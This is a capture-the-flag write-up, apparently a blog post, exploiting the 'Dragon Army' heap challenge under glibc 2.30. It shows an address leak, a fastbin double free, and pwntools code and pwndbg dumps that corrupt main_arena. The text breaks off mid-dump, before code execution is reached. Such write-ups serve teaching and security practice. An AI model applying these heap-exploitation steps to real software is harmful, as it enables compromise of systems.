Dragon Army
23 minutes to read
We are given a 64-bit binary called da
:
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
Moreover, we have this Glibc version:
$ glibc/ld-linux-x86-64.so.2 glibc/libc.so.6
GNU C Library (GNU libc) stable release version 2.30.
Copyright (C) 2019 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.
There is NO warranty; not even for MERCHANTABILITY or FITNESS FOR A
PARTICULAR PURPOSE.
Compiled by GNU CC version 7.5.0.
libc ABIs: UNIQUE IFUNC ABSOLUTE
For bug reporting instructions, please see:
<http://www.gnu.org/software/libc/bugs.html>.
Reverse engineering
This time, Ghidra didn’t work very well, so I tried Binary Ninja on the cloud. This is the main
function:
The program has two stages. The first one is just to enter a string. If that string starts with r3dDr4g3nst1str0f1
, the program will show the same input using a format string:
"\nArmy\'s power has been buffed with spell: %s\n"
We can see the full string in Binary Ninja:
No matter what our input was, the program goes to the second stage:
$ ./da
Cast a magic spell to enhance your army's power: asdf
Unknown spell!
Dragons: [0/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> ^C
$ ./da
Cast a magic spell to enhance your army's power: r3dDr4g3nst1str0f1asdf
Army's power has been buffed with spell: r3dDr4g3nst1str0f1asdf
Dragons: [0/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> ^C
Leaking memory addresses
Since the program outputs the same string as we enter, let’s analyze the memory to see if we can get a memory leak using this feature.
$ gdb -q da
Reading symbols from da...
(No debugging symbols found in da)
Use the procinfo command for better process introspection (than the GDB's info proc command)
pwndbg> run
Starting program: ./da
Cast a magic spell to enhance your army's power: ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b0301e in __GI___libc_read (fd=0, buf=0x7fffffffe5f0, nbytes=127) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
pwndbg> x/30gx $rsi
0x7fffffffe5f0: 0x00007ffff7ffeac0 0x00007ffff7dd1680
0x7fffffffe600: 0x0000000000000031 0x0000000000000001
0x7fffffffe610: 0x0000000000000031 0x0000555555556018
0x7fffffffe620: 0x00007ffff7dcd420 0x00007ffff7a8aab9
0x7fffffffe630: 0x0000000000000000 0x0000000000000000
0x7fffffffe640: 0x00007fffffffe730 0x0000555555555110
0x7fffffffe650: 0x00007fffffffe810 0x0000000000000000
0x7fffffffe660: 0x0000000000000000 0x00005555555553ad
0x7fffffffe670: 0x0000000000000000 0x0000000000000080
0x7fffffffe680: 0x000000000000007f 0x00007fffffffe5f0
0x7fffffffe690: 0x0000000000000000 0x0000000000000000
0x7fffffffe6a0: 0x0000000000000000 0x0000000000000000
0x7fffffffe6b0: 0x0000000000000000 0x0000000000000000
0x7fffffffe6c0: 0x0000000000000000 0x0000000000000000
0x7fffffffe6d0: 0x0000000000000000 0x0000000000000000
pwndbg> x 0x00007ffff7dcd420
0x7ffff7dcd420 <__GI__IO_file_jumps>: 0x0000000000000000
There are a lot of possible leaks (addresses from Glibc, binary and stack). The most important leak is one from Glibc, which is __GI__IO_file_jumps
(although maybe we will need to change later, depending on the exploitation approach).
Therefore, let’s enter the requested string (r3dDr4g3nst1str0f1
), which contains 18 characters and then 30 characters to arrive at the Glibc address (0x00007ffff7dcd420
). But this cannot be done from GDB because the new line character is converted to a null byte, so the program will stop reading the string at the null byte. So, let’s start writing some Python code:
def main():
p = get_process()
gdb.attach(p, 'continue')
p.sendafter(b"Cast a magic spell to enhance your army's power: ", b'r3dDr4g3nst1str0f1'.ljust(0x30, b'A'))
p.recvline()
data = p.recvline()[:-1]
__GI__IO_file_jumps_addr = u64(data.split(b'A')[-1].ljust(8, b'\0'))
log.info(f'Leaked __GI__IO_file_jumps address: {hex(__GI__IO_file_jumps_addr)}')
glibc.address = __GI__IO_file_jumps_addr - glibc.sym.__GI__IO_file_jumps
log.success(f'Glibc base address: {hex(glibc.address)}')
p.interactive()
With this code, we will obtain the memory leak and find the base address of Glibc:
$ python3 solve.py
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './da': pid 3445418
[*] running in new terminal: ['/usr/bin/gdb', '-q', './da', '3445418', '-x', '/tmp/pwn9h2wi7m1.gdb']
[+] Waiting for debugger: Done
[*] Leaked __GI__IO_file_jumps address: 0x7f8b7e893420
[+] Glibc base address: 0x7f8b7e4e2000
[*] Switching to interactive mode
Dragons: [0/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> $
So, let’s go for the next stage. We have two options:
- Summon: Allocate dynamic memory using
malloc
and write data into the allocated chunk (there are no overflows). - Release: Free chunks.
There are some limitations. We can allocate chunks from size 0
to 0x58
and from 0x69
to 0x78
(all limits included). This fact is very important for exploitation (it complicates the exploit a lot).
The chunks are stored in a global array list. Another limitation is that we can only allocate up to 13 chunks. What’s more, option 2
does not remove the address of the chunk when it is freed. On the one hand, this is good because we can potentially exploit a double free vulnerability, which can be leveraged to Use After Free. On the other hand, this is very limitating because we only have 13 allocations.
Exploit strategy
It is very easy to exploit the double free bug and achieve Use After Free, we only need to allocate two chunks (say A
and B
). Then, we can free A
, then B
and then A
again. This is needed to bypass a security check from Glibc (why is this called a security check?).
Then, when allocating a new chunk of the same size, we will have a chunk at the position of A
, but with A
in the Fast Bin free-list (it is stored in the Fast Bin because its size is less than 0x80
). So, we can modify the fd
pointer of A
, so that we corrupt the linked list and achieve a write primitive (with some limitations) after allocating B
and A
.
We can easily test this in GDB:
$ gdb -q da
Reading symbols from da...
(No debugging symbols found in da)
Use the context (or ctx) command to display the context once again. You can reconfigure the context layout with set context-section <sections> or forward the output to a file/tty via set context-output <file>. See also config context to c
onfigure it further!
pwndbg> run
Starting program: ./da
Cast a magic spell to enhance your army's power: asdf
Unknown spell!
Dragons: [0/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> 1
Dragon's length: 24
Name your dragon: AAAA
Dragons: [1/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> 1
Dragon's length: 24
Name your dragon: BBBB
Dragons: [2/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b0301e in __GI___libc_read (fd=0, buf=0x555555559420, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
26 ../sysdeps/unix/sysv/linux/read.c: No such file or directory.
This is the heap at this moment:
pwndbg> vis_heap_chunks
...
0x555555559820 0x0000000000000000 0x0000000000000021 ........!.......
0x555555559830 0x0000000a41414141 0x0000000000000000 AAAA............
0x555555559840 0x0000000000000000 0x0000000000000021 ........!.......
0x555555559850 0x0000000a42424242 0x0000000000000000 BBBB............
0x555555559860 0x0000000000000000 0x00000000000207a1 ................ <-- Top chunk
Now, let’s free A
, B
and A
again:
pwndbg> continue
Continuing.
2
Dragon of choice: 0
[+] The dragon flies away!
Dragons: [2/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> 2
Dragon of choice: 1
[+] The dragon flies away!
Dragons: [2/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> 2
Dragon of choice: 0
[+] The dragon flies away!
Dragons: [2/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b0301e in __GI___libc_read (fd=0, buf=0x555555559420, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
And we have this on the heap:
pwndbg> vis_heap_chunks
...
0x555555559820 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][0], fastbins[0x20][0]
0x555555559830 0x0000555555559840 0x0000000000000000 @.UUUU..........
0x555555559840 0x0000000000000000 0x0000000000000021 ........!....... <-- fastbins[0x20][1]
0x555555559850 0x0000555555559820 0x0000000000000000 .UUUU..........
0x555555559860 0x0000000000000000 0x00000000000207a1 ................ <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0x555555559820 ββΈ 0x555555559840 ββ 0x555555559820
As can be seen, chunk A
(address 0x555555559820
) is twice in the list. Now, let’s allocate another chunk, modify the fd
pointer for A
and allocate B
and A
:
pwndbg> continue
Continuing.
1
Dragon's length: 24
Name your dragon: ABCDEFG
Dragons: [3/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> 1
Dragon's length: 24
Name your dragon: BBBB
Dragons: [4/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> 1
Dragon's length: 24
Name your dragon: AAAA
Dragons: [5/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> ^C
Program received signal SIGINT, Interrupt.
0x00007ffff7b0301e in __GI___libc_read (fd=0, buf=0x555555559420, nbytes=1024) at ../sysdeps/unix/sysv/linux/read.c:26
26 in ../sysdeps/unix/sysv/linux/read.c
pwndbg> vis_heap_chunks
...
0x555555559820 0x0000000000000000 0x0000000000000021 ........!.......
0x555555559830 0x0a47000a41414141 0x0000000000000000 AAAA..G.........
0x555555559840 0x0000000000000000 0x0000000000000021 ........!.......
0x555555559850 0x0000000a42424242 0x0000000000000000 BBBB............
0x555555559860 0x0000000000000000 0x00000000000207a1 ................ <-- Top chunk
pwndbg> fastbins
fastbins
0x20: 0xa47464544434241 ('ABCDEFG\n')
Obviously, if we try to allocate a new chunk of size 0x20
, the program will crash because the next address is 0xa47464544434241
, which is not valid:
pwndbg> continue
Continuing.
1
Dragon's length: 24
Program received signal SIGSEGV, Segmentation fault.
0x00007ffff7a9dbeb in _int_malloc (av=av@entry=0x7ffff7dd0b60 <main_arena>, bytes=bytes@entry=24) at malloc.c:3586
3586 malloc.c: No such file or directory.
This technique is known as Fast Bin dup. These are some good resources to learn about the technique:
With this technique, the usual approach is to target __malloc_hook
because in the surroundings of __malloc_hook
there are some Glibc addresses. These addresses are very useful because start with 0x7f
:
pwndbg> x/24gx &__malloc_hook - 4
0x7ffff7dd0b30 <_IO_wide_data_0+240>: 0x00007ffff7dccee0 0x0000000000000000
0x7ffff7dd0b40 <__memalign_hook>: 0x00007ffff7a9fa10 0x00007ffff7a9fed0
0x7ffff7dd0b50 <__malloc_hook>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0b60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7ffff7dd0b70 <main_arena+16>: 0x0a47464544434241 0x0000000000000000
0x7ffff7dd0b80 <main_arena+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0b90 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0ba0 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0bb0 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7ffff7dd0bc0 <main_arena+96>: 0x0000555555559860 0x0000000000000000
0x7ffff7dd0bd0 <main_arena+112>: 0x00007ffff7dd0bc0 0x00007ffff7dd0bc0
0x7ffff7dd0be0 <main_arena+128>: 0x00007ffff7dd0bd0 0x00007ffff7dd0bd0
This byte can be used as a fake size of a 0x70
-sized chunk. Another security check that applies for Fast Bin chunks is that the size field must be valid.
The problem here is that 0x70
-sized chunks are not allowed (only sizes from 0
to 0x58
and from 0x69
to 0x78
). So we won’t be able to use the common Fast Bin dup technique.
This challenge made me think out-of-the-box and find another approach to use Fast Bin dup (which is the only attack we have at this moment). Even I needed to analyze malloc
and its security checks in Glibc source code.
I tried to see if having a stack leak was better than Glibc leak. A House of Spirit attack could have been possible to modify the return address on the stack, but the program uses exit
, it does not return. I checked all the documented attacks on how2heap and nothing was suitable.
Understanding the arena
As can be seen in the previous output, below __malloc_hook
we have main_arena
, which is the structure that handles the heap. For more information, these resources are worth reading carefully:
The main_arena
structure holds pointers to the next freed chunks to be allocated (singly linked lists for Fast Bin chunks, and doubly linked lists for Unsorted Bin, Small Bin and Large Bin chunks). Another important field is the address of the top chunk, which is the chunk that is at the bottom of the heap, where the new allocated memory is taken from.
The thing is that the addresses of the heap and the binary start with 0x55
or 0x56
because of PIE and ASLR. If addresses start with 0x56
, we can use this byte as a fake size for a 0x50
-sized chunk.
A size of 0x55
is not valid because flags (AMP
) are 101
in binary, so the chunk is supposed to belong to the application arena, was not allocated with mmap
and the previous chunk is inuse. But a size of 0x56
(flags 110
) say that the chunks belongs to the application arena but it was allocated with mmap
, so it is not part of an arena. This is a valid configuration and the heap allocator will not complain.
Exploit development
We will use this helper functions:
def summon(p, length: int, name: bytes):
p.sendlineafter(b'>> ', b'1')
p.sendlineafter(b"Dragon's length: ", str(length).encode())
p.sendlineafter(b'Name your dragon: ', name)
def release(p, index: int):
p.sendlineafter(b'>> ', b'2')
p.sendlineafter(b'Dragon of choice: ', str(index).encode())
Returning to the challenge, we already have a target for the Fast Bin dup technique, because we need to have a valid fake size to allocate a chunk outside of the heap. This is the code for this explanation:
summon(p, 0x48, b'A') # 0
summon(p, 0x48, b'B') # 1
summon(p, 0x28, b'X') # 2
release(p, 2)
release(p, 0)
release(p, 1)
release(p, 0)
Let’s see the state of main_arena
and the heap:
$ python3 solve.py
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './da': pid 3485693
[*] running in new terminal: ['/usr/bin/gdb', '-q', './da', '3485693', '-x', '/tmp/pwnrpw70xpr.gdb']
[+] Waiting for debugger: Done
[*] Leaked __GI__IO_file_jumps address: 0x7f365b0c6420
[+] Glibc base address: 0x7f365ad15000
[*] Switching to interactive mode
[+] The dragon flies away!
Dragons: [3/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> $
pwndbg> vis_heap_chunks
...
0x557f61bd6420 0x0000000000000000 0x0000000000000051 ........Q....... <-- fastbins[0x50][0], fastbins[0x50][0]
0x557f61bd6430 0x0000557f61bd6470 0x0000000000000000 pd.a.U..........
0x557f61bd6440 0x0000000000000000 0x0000000000000000 ................
0x557f61bd6450 0x0000000000000000 0x0000000000000000 ................
0x557f61bd6460 0x0000000000000000 0x0000000000000000 ................
0x557f61bd6470 0x0000000000000000 0x0000000000000051 ........Q....... <-- fastbins[0x50][1]
0x557f61bd6480 0x0000557f61bd6420 0x0000000000000000 d.a.U..........
0x557f61bd6490 0x0000000000000000 0x0000000000000000 ................
0x557f61bd64a0 0x0000000000000000 0x0000000000000000 ................
0x557f61bd64b0 0x0000000000000000 0x0000000000000000 ................
0x557f61bd64c0 0x0000000000000000 0x0000000000000031 ........1....... <-- fastbins[0x30][0]
0x557f61bd64d0 0x0000000000000000 0x0000000000000000 ................
0x557f61bd64e0 0x0000000000000000 0x0000000000000000 ................
0x557f61bd64f0 0x0000000000000000 0x000000000001fb11 ................ <-- Top chunk
pwndbg> p/x main_arena
$6 = {
mutex = 0x0,
flags = 0x0,
have_fastchunks = 0x1,
fastbinsY = {0x0, 0x557f61bd64c0, 0x0, 0x557f61bd6420, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0},
top = 0x557f61bd64f0,
last_remainder = 0x0,
bins = {0x7f365b0c9bc0, 0x7f365b0c9bc0, 0x7f365b0c9bd0, 0x7f365b0c9bd0, 0x7f365b0c9be0, 0x7f365b0c9be0, 0x7f365b0c9bf0, 0x7f365b0c9bf0, 0x7f365b0c9c00, 0x7f365b0c9c00, 0x7f365b0c9c10, 0x7f365b0c9c10, 0x7f365b0c9c20, 0x7f365b0c9c20, 0x7f365b0c9c30, 0x7f365b0c9c30, 0x7f365b0c9c40, 0x7f365b0c9c40, 0x7f365b0c9c50, 0x7f365b0c9c50, 0x7f365b0c9c60, 0x7f365b0c9c60, 0x7f365b0c9c70, 0x7f365b0c9c70, 0x7f365b0c9c80, 0x7f365b0c9c80, 0x7f365b0c9c90, 0x7f365b0c9c90, 0x7f365b0c9ca0, 0x7f365b0c9ca0, 0x7f365b0c9cb0, 0x7f365b0c9cb0, 0x7f365b0c9cc0, 0x7f365b0c9cc0, 0x7f365b0c9cd0, 0x7f365b0c9cd0, 0x7f365b0c9ce0, 0x7f365b0c9ce0, 0x7f365b0c9cf0, 0x7f365b0c9cf0, 0x7f365b0c9d00, 0x7f365b0c9d00, 0x7f365b0c9d10, 0x7f365b0c9d10, 0x7f365b0c9d20, 0x7f365b0c9d20, 0x7f365b0c9d30, 0x7f365b0c9d30, 0x7f365b0c9d40, 0x7f365b0c9d40, 0x7f365b0c9d50, 0x7f365b0c9d50, 0x7f365b0c9d60, 0x7f365b0c9d60, 0x7f365b0c9d70, 0x7f365b0c9d70, 0x7f365b0c9d80, 0x7f365b0c9d80, 0x7f365b0c9d90, 0x7f365b0c9d90, 0x7f365b0c9da0, 0x7f365b0c9da0, 0x7f365b0c9db0, 0x7f365b0c9db0, 0x7f365b0c9dc0, 0x7f365b0c9dc0, 0x7f365b0c9dd0, 0x7f365b0c9dd0, 0x7f365b0c9de0, 0x7f365b0c9de0, 0x7f365b0c9df0, 0x7f365b0c9df0, 0x7f365b0c9e00, 0x7f365b0c9e00, 0x7f365b0c9e10, 0x7f365b0c9e10, 0x7f365b0c9e20, 0x7f365b0c9e20, 0x7f365b0c9e30, 0x7f365b0c9e30, 0x7f365b0c9e40, 0x7f365b0c9e40, 0x7f365b0c9e50, 0x7f365b0c9e50, 0x7f365b0c9e60, 0x7f365b0c9e60, 0x7f365b0c9e70, 0x7f365b0c9e70, 0x7f365b0c9e80, 0x7f365b0c9e80, 0x7f365b0c9e90, 0x7f365b0c9e90, 0x7f365b0c9ea0, 0x7f365b0c9ea0, 0x7f365b0c9eb0, 0x7f365b0c9eb0, 0x7f365b0c9ec0, 0x7f365b0c9ec0, 0x7f365b0c9ed0, 0x7f365b0c9ed0, 0x7f365b0c9ee0, 0x7f365b0c9ee0, 0x7f365b0c9ef0, 0x7f365b0c9ef0, 0x7f365b0c9f00, 0x7f365b0c9f00, 0x7f365b0c9f10, 0x7f365b0c9f10, 0x7f365b0c9f20, 0x7f365b0c9f20, 0x7f365b0c9f30, 0x7f365b0c9f30, 0x7f365b0c9f40, 0x7f365b0c9f40, 0x7f365b0c9f50, 0x7f365b0c9f50, 0x7f365b0c9f60, 0x7f365b0c9f60, 0x7f365b0c9f70, 0x7f365b0c9f70, 0x7f365b0c9f80, 0x7f365b0c9f80, 0x7f365b0c9f90, 0x7f365b0c9f90, 0x7f365b0c9fa0, 0x7f365b0c9fa0, 0x7f365b0c9fb0, 0x7f365b0c9fb0, 0x7f365b0c9fc0, 0x7f365b0c9fc0, 0x7f365b0c9fd0, 0x7f365b0c9fd0, 0x7f365b0c9fe0, 0x7f365b0c9fe0, 0x7f365b0c9ff0, 0x7f365b0c9ff0, 0x7f365b0ca000, 0x7f365b0ca000, 0x7f365b0ca010, 0x7f365b0ca010, 0x7f365b0ca020, 0x7f365b0ca020, 0x7f365b0ca030, 0x7f365b0ca030, 0x7f365b0ca040, 0x7f365b0ca040, 0x7f365b0ca050, 0x7f365b0ca050, 0x7f365b0ca060, 0x7f365b0ca060, 0x7f365b0ca070, 0x7f365b0ca070, 0x7f365b0ca080, 0x7f365b0ca080, 0x7f365b0ca090, 0x7f365b0ca090, 0x7f365b0ca0a0, 0x7f365b0ca0a0, 0x7f365b0ca0b0, 0x7f365b0ca0b0, 0x7f365b0ca0c0, 0x7f365b0ca0c0, 0x7f365b0ca0d0, 0x7f365b0ca0d0, 0x7f365b0ca0e0, 0x7f365b0ca0e0, 0x7f365b0ca0f0, 0x7f365b0ca0f0, 0x7f365b0ca100, 0x7f365b0ca100, 0x7f365b0ca110, 0x7f365b0ca110, 0x7f365b0ca120, 0x7f365b0ca120, 0x7f365b0ca130, 0x7f365b0ca130, 0x7f365b0ca140, 0x7f365b0ca140, 0x7f365b0ca150, 0x7f365b0ca150, 0x7f365b0ca160, 0x7f365b0ca160, 0x7f365b0ca170, 0x7f365b0ca170, 0x7f365b0ca180, 0x7f365b0ca180, 0x7f365b0ca190, 0x7f365b0ca190, 0x7f365b0ca1a0, 0x7f365b0ca1a0, 0x7f365b0ca1b0, 0x7f365b0ca1b0, 0x7f365b0ca1c0, 0x7f365b0ca1c0, 0x7f365b0ca1d0, 0x7f365b0ca1d0, 0x7f365b0ca1e0, 0x7f365b0ca1e0, 0x7f365b0ca1f0, 0x7f365b0ca1f0...},
binmap = {0x0, 0x0, 0x0, 0x0},
next = 0x7f365b0c9b60,
next_free = 0x0,
attached_threads = 0x1,
system_mem = 0x21000,
max_system_mem = 0x21000
}
pwndbg> x/30gx &main_arena
0x7f365b0c9b60 <main_arena>: 0x0000000000000000 0x0000000000000001
0x7f365b0c9b70 <main_arena+16>: 0x0000000000000000 0x0000557f61bd64c0
0x7f365b0c9b80 <main_arena+32>: 0x0000000000000000 0x0000557f61bd6420
0x7f365b0c9b90 <main_arena+48>: 0x0000000000000000 0x0000000000000000
0x7f365b0c9ba0 <main_arena+64>: 0x0000000000000000 0x0000000000000000
0x7f365b0c9bb0 <main_arena+80>: 0x0000000000000000 0x0000000000000000
0x7f365b0c9bc0 <main_arena+96>: 0x0000557f61bd64f0 0x0000000000000000
0x7f365b0c9bd0 <main_arena+112>: 0x00007f365b0c9bc0 0x00007f365b0c9bc0
0x7f365b0c9be0 <main_arena+128>: 0x00007f365b0c9bd0 0x00007f365b0c9bd0
0x7f365b0c9bf0 <main_arena+144>: 0x00007f365b0c9be0 0x00007f365b0c9be0
0x7f365b0c9c00 <main_arena+160>: 0x00007f365b0c9bf0 0x00007f365b0c9bf0
0x7f365b0c9c10 <main_arena+176>: 0x00007f365b0c9c00 0x00007f365b0c9c00
0x7f365b0c9c20 <main_arena+192>: 0x00007f365b0c9c10 0x00007f365b0c9c10
0x7f365b0c9c30 <main_arena+208>: 0x00007f365b0c9c20 0x00007f365b0c9c20
0x7f365b0c9c40 <main_arena+224>: 0x00007f365b0c9c30 0x00007f365b0c9c30
pwndbg> bins
fastbins
0x30: 0x557f61bd64c0 ββ 0x0
0x50: 0x557f61bd6420 ββΈ 0x557f61bd6470 ββ 0x557f61bd6420
unsortedbin
empty
smallbins
empty
largebins
empty
As can be seen we have some heap addresses in main_arena
(heads of 0x30
and 0x50
Fast Bin chunks and the address of the top chunk, 0x0000557f61bd64f0
).
Notice as well that we have started the Fast Bin dup technique because we already have a double free in the 0x50
-sized Fast Bin. Now the idea is to allocate a 0x50
-sized chunk at main_arena
(specifically, at the position of the 0x30
chunk address).
This part was mandatory, because there was not any other useful memory area where we could use Fast Bin dup. We could have chosen another Fast Bin free-list, but the chosen one works correctly. My idea was to modify the top chunk’s address to an address above __malloc_hook
, so that we can start allocating chunks until we fall near __malloc_hook
and write something here to gain code execution.
For this, we need to align the memory a bit to take the offset for the Fast Bin dup attack:
pwndbg> x/20gx 0x7f365b0c9b60 + 21
0x7f365b0c9b75 <main_arena+21>: 0x7f61bd64c0000000 0x0000000000000055
0x7f365b0c9b85 <main_arena+37>: 0x7f61bd6420000000 0x0000000000000055
0x7f365b0c9b95 <main_arena+53>: 0x0000000000000000 0x0000000000000000
0x7f365b0c9ba5 <main_arena+69>: 0x0000000000000000 0x0000000000000000
0x7f365b0c9bb5 <main_arena+85>: 0x0000000000000000 0x7f61bd64f0000000
0x7f365b0c9bc5 <main_arena+101>: 0x0000000000000055 0x365b0c9bc0000000
0x7f365b0c9bd5 <main_arena+117>: 0x365b0c9bc000007f 0x365b0c9bd000007f
0x7f365b0c9be5 <main_arena+133>: 0x365b0c9bd000007f 0x365b0c9be000007f
0x7f365b0c9bf5 <main_arena+149>: 0x365b0c9be000007f 0x365b0c9bf000007f
0x7f365b0c9c05 <main_arena+165>: 0x365b0c9bf000007f 0x365b0c9c0000007f
So, main_arena + 21
, let’s try to mess with main_arena
:
summon(p, 0x48, p64(glibc.sym.main_arena + 21)) # 3
summon(p, 0x48, b'B') # 4
summon(p, 0x48, b'A') # 5
summon(p, 0x48, cyclic(64)) # 6
From now on, the exploit might fail because most times heap addresses start with 0x55
, so the Fast Bin dup attack fails.
$ python3 solve.py
[*] './da'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
RUNPATH: b'./glibc/'
[+] Starting local process './da': pid 3495882
[*] running in new terminal: ['/usr/bin/gdb', '-q', './da', '3495882', '-x', '/tmp/pwnj0_ue88l.gdb']
[+] Waiting for debugger: Done
[*] Leaked __GI__IO_file_jumps address: 0x7f26625c7420
[+] Glibc base address: 0x7f2662216000
[*] Switching to interactive mode
Dragons: [7/13]
πππππππππ
π π
π 1. Summon π
π π
π 2. Release π
π π
π 3. Leave π
π π
πππππππππ
>> $
And here we have the corrupted main_arena
structure:
pwndbg> p/x main_arena
$1 = {
mutex = 0x0,
flags = 0x0,
have_fastchunks = 0x1,
fastbinsY = {0x0, 0x56029b1354c0, 0x6161610000000000, 0x6161636161616261, 0x6161656161616461, 0x6161676161616661, 0x6161696161616861, 0x61616b6161616a61, 0x61616d6161616c61, 0x61616f6161616e61},
top = 0xa6161617061,
last_remainder = 0x0,
bins = {0x7f26625cabc0, 0x7f26625cabc0, 0x7f26625cabd0, 0x7f26625cabd0, 0x7f26625cabe0, 0x7f26625cabe0, 0x7f26625cabf0, 0x7f26625cabf0, 0x7f26625cac00, 0x7f26625cac00, 0x7f26625cac10, 0x7f26625cac10, 0x7f26625cac20, 0x7f26625cac20, 0x7f26625cac30, 0x7f26625cac30, 0x7f26625cac40, 0x7f26625cac40, 0x7f26625cac50, 0x7f26625cac50, 0x7f26625cac60, 0x7f26625cac60, 0x7f26625cac70, 0x7f26625cac70, 0x7f26625cac80, 0x7f26625cac80, 0x7f26625cac90, 0x7f26625cac90, 0x7f26625caca0, 0x7f26625caca0, 0x7f26625cacb0, 0x7f26625cacb0, 0x7f26625cacc0, 0x7f26625cacc0, 0x7f26625cacd0, 0x7f26625cacd0, 0x7f26625cace0, 0x7f26625cace0, 0x7f26625cacf0, 0x7f26625cacf0, 0x7f26625cad00, 0x7f26625cad00, 0x7f26625cad10, 0x7f26625cad10, 0x7f26625cad20, 0x7f26625cad20, 0x7f26625cad30, 0x7f26625cad30, 0x7f26625cad40, 0x7f26625cad40, 0x7f26625cad50, 0x7f26625cad50, 0x7f26625cad60, 0x7f26625cad60, 0x7f26625cad70, 0x7f26625cad70, 0x7f26625cad80, 0x7f26625cad80, 0x7f26625cad90, 0x7f26625cad90, 0x7f26625cada0, 0x7f26625cada0, 0x7f26625cadb0, 0x7f26625cadb0, 0x7f26625cadc0, 0x7f26625cadc0, 0x7f26625cadd0, 0x7f26625cadd0, 0x7f26625cade0, 0x7f26625cade0, 0x7f26625cadf0, 0x7f26625cadf0, 0x7f26625cae00, 0x7f26625cae00, 0x7f26625cae10, 0x7f26625cae10, 0x7f26625cae20, 0x7f26625cae20, 0x7f26625cae30, 0x7f26625cae30, 0x7f26625cae40, 0x7f26625cae40, 0x7f26625cae50, 0x7f26625cae50, 0x7f26625cae60, 0x7f26625cae60, 0x7f26625cae70, 0x7f26625cae70, 0x7f26625cae80, 0x7f26625cae80, 0x7f26625cae90, 0x7f26625cae90, 0x7f26625caea0, 0x7f26625caea0, 0x7f26625caeb0, 0x7f26625caeb0, 0x7f26625caec0, 0x7f26625caec0, 0x7f26625caed0, 0x7f26625caed0, 0x7f26625caee0, 0x7f26625caee0, 0x7f26625caef0, 0x7f26625caef0, 0x7f26625caf00, 0x7f26625caf00, 0x7f26625caf10, 0x7f26625caf10, 0x7f26625caf20, 0x7f26625caf20, 0x7f26625caf30, 0x7f26625caf30, 0x7f26625caf40, 0x7f26625caf40, 0x7f26625caf50, 0x7f26625caf50, 0x7f26625caf60, 0x7f26625caf60, 0x7f26625caf70, 0x7f26625caf70, 0x7f26625caf80, 0x7f26625caf80, 0x7f26625caf90, 0x7f26625caf90, 0x7f26625cafa0, 0x7f26625cafa0, 0x7f26625cafb0, 0x7f26625cafb0, 0x7f26625cafc0, 0x7f26625cafc0, 0x7f26625cafd0, 0x7f26625cafd0, 0x7f26625cafe0, 0x7f26625cafe0, 0x7f26625caff0, 0x7f26625caff0, 0x7f26625cb000, 0x7f26625cb000, 0x7f26625cb010, 0x7f26625cb010, 0x7f26625cb020, 0x7f26625cb020, 0x7f26625cb030, 0x7f26625cb030, 0x7f26625cb040, 0x7f26625cb040, 0x7f26625cb050, 0x7f26625cb050, 0x7f26625cb060, 0x7f26625cb060, 0x7f26625cb070, 0x7f26625cb070, 0x7f26625cb080, 0x7f26625cb080, 0x7f26625cb090, 0x7f26625cb090, 0x7f26625cb0a0, 0x7f26625cb0a0, 0x7f26625cb0b0, 0x7f26625cb0b0, 0x7f26625cb0c0, 0x7f26625cb0c0, 0x7f26625cb0d0, 0x7f26625cb0d0, 0x7f26625cb0e0, 0x7f26625cb0e0, 0x7f26625cb0f0, 0x7f26625cb0f0, 0x7f26625cb100, 0x7f26625cb100, 0x7f26625cb110, 0x7f26625cb110, 0x7f26625cb120, 0x7f26625cb120, 0x7f26625cb130, 0x7f26625cb130, 0x7f26625cb140, 0x7f26625cb140, 0x7f26625cb150, 0x7f26625cb150, 0x7f26625cb160, 0x7f26625cb160, 0x7f26625cb170, 